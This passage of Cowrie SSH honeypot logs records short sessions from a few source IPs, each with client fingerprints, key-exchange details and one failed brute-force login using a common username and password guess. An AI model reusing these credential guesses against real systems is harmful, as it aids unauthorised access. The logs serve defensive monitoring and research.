sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:13.736549Z","src_ip":"87.106.44.172","session":"fd8140fee276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Ab","message":"login attempt [root/123456789@Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:14.152932Z","src_ip":"87.106.44.172","session":"fd8140fee276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:15.242253Z","src_ip":"87.106.44.172","session":"fd8140fee276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":38440,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1912d5f690d","protocol":"ssh","message":"New connection: 202.145.0.61:38440 (10.17.0.5:22) [session: f1912d5f690d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:28.119266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:28.123656Z","src_ip":"202.145.0.61","session":"f1912d5f690d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:28.362244Z","src_ip":"202.145.0.61","session":"f1912d5f690d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"Aa123456","message":"login attempt [admin01/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:29.348030Z","src_ip":"202.145.0.61","session":"f1912d5f690d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:30.590298Z","src_ip":"202.145.0.61","session":"f1912d5f690d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":46972,"dst_ip":"10.17.0.5","dst_port":22,"session":"94b54954af99","protocol":"ssh","message":"New connection: 87.106.44.172:46972 (10.17.0.5:22) [session: 94b54954af99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:10.195820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:10.201073Z","src_ip":"87.106.44.172","session":"94b54954af99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:10.290915Z","src_ip":"87.106.44.172","session":"94b54954af99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8520","message":"login attempt [root/8520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:10.692194Z","src_ip":"87.106.44.172","session":"94b54954af99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:11.775057Z","src_ip":"87.106.44.172","session":"94b54954af99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":54876,"dst_ip":"10.17.0.5","dst_port":22,"session":"b15632faa054","protocol":"ssh","message":"New connection: 202.145.0.61:54876 (10.17.0.5:22) [session: b15632faa054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:25.474527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:25.479012Z","src_ip":"202.145.0.61","session":"b15632faa054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:25.724331Z","src_ip":"202.145.0.61","session":"b15632faa054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwert12345","message":"login attempt [ftpuser/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:26.717015Z","src_ip":"202.145.0.61","session":"b15632faa054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:27.960674Z","src_ip":"202.145.0.61","session":"b15632faa054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":48386,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b5a86f24026","protocol":"ssh","message":"New connection: 80.94.92.171:48386 (159.203.135.109:22) [session: 5b5a86f24026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:34.503104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:34.676270Z","src_ip":"80.94.92.171","session":"5b5a86f24026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:34.680097Z","src_ip":"80.94.92.171","session":"5b5a86f24026","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:35.681329Z","src_ip":"80.94.92.171","session":"5b5a86f24026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:48:37.363127Z","src_ip":"80.94.92.171","session":"5b5a86f24026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":41096,"dst_ip":"10.17.0.5","dst_port":22,"session":"21e55e9953fd","protocol":"ssh","message":"New connection: 87.106.44.172:41096 (10.17.0.5:22) [session: 21e55e9953fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:06.053372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:06.061504Z","src_ip":"87.106.44.172","session":"21e55e9953fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:06.137514Z","src_ip":"87.106.44.172","session":"21e55e9953fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWEqwe","message":"login attempt [root/123!@#QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:06.451615Z","src_ip":"87.106.44.172","session":"21e55e9953fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:07.536432Z","src_ip":"87.106.44.172","session":"21e55e9953fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":43088,"dst_ip":"10.17.0.5","dst_port":22,"session":"2906e70e9c21","protocol":"ssh","message":"New connection: 202.145.0.61:43088 (10.17.0.5:22) [session: 2906e70e9c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:25.199639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:25.203963Z","src_ip":"202.145.0.61","session":"2906e70e9c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:25.449232Z","src_ip":"202.145.0.61","session":"2906e70e9c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"password","message":"login attempt [ts3server/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:26.409841Z","src_ip":"202.145.0.61","session":"2906e70e9c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:27.646984Z","src_ip":"202.145.0.61","session":"2906e70e9c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45162,"dst_ip":"10.17.0.5","dst_port":22,"session":"791b1fdcff99","protocol":"ssh","message":"New connection: 103.15.226.202:45162 (10.17.0.5:22) [session: 791b1fdcff99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:31.050605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:31.056429Z","src_ip":"103.15.226.202","session":"791b1fdcff99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:31.299085Z","src_ip":"103.15.226.202","session":"791b1fdcff99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1m1gr4s12021!","message":"login attempt [root/1m1gr4s12021!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:32.025406Z","src_ip":"103.15.226.202","session":"791b1fdcff99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:49:33.266022Z","src_ip":"103.15.226.202","session":"791b1fdcff99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":48002,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a18c56678bd","protocol":"ssh","message":"New connection: 87.106.44.172:48002 (10.17.0.5:22) [session: 0a18c56678bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:01.724560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:01.819231Z","src_ip":"87.106.44.172","session":"0a18c56678bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:01.895813Z","src_ip":"87.106.44.172","session":"0a18c56678bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop@123","message":"login attempt [root/qwertyuiop@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:02.684902Z","src_ip":"87.106.44.172","session":"0a18c56678bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:03.778514Z","src_ip":"87.106.44.172","session":"0a18c56678bd","protocol":"ssh"}
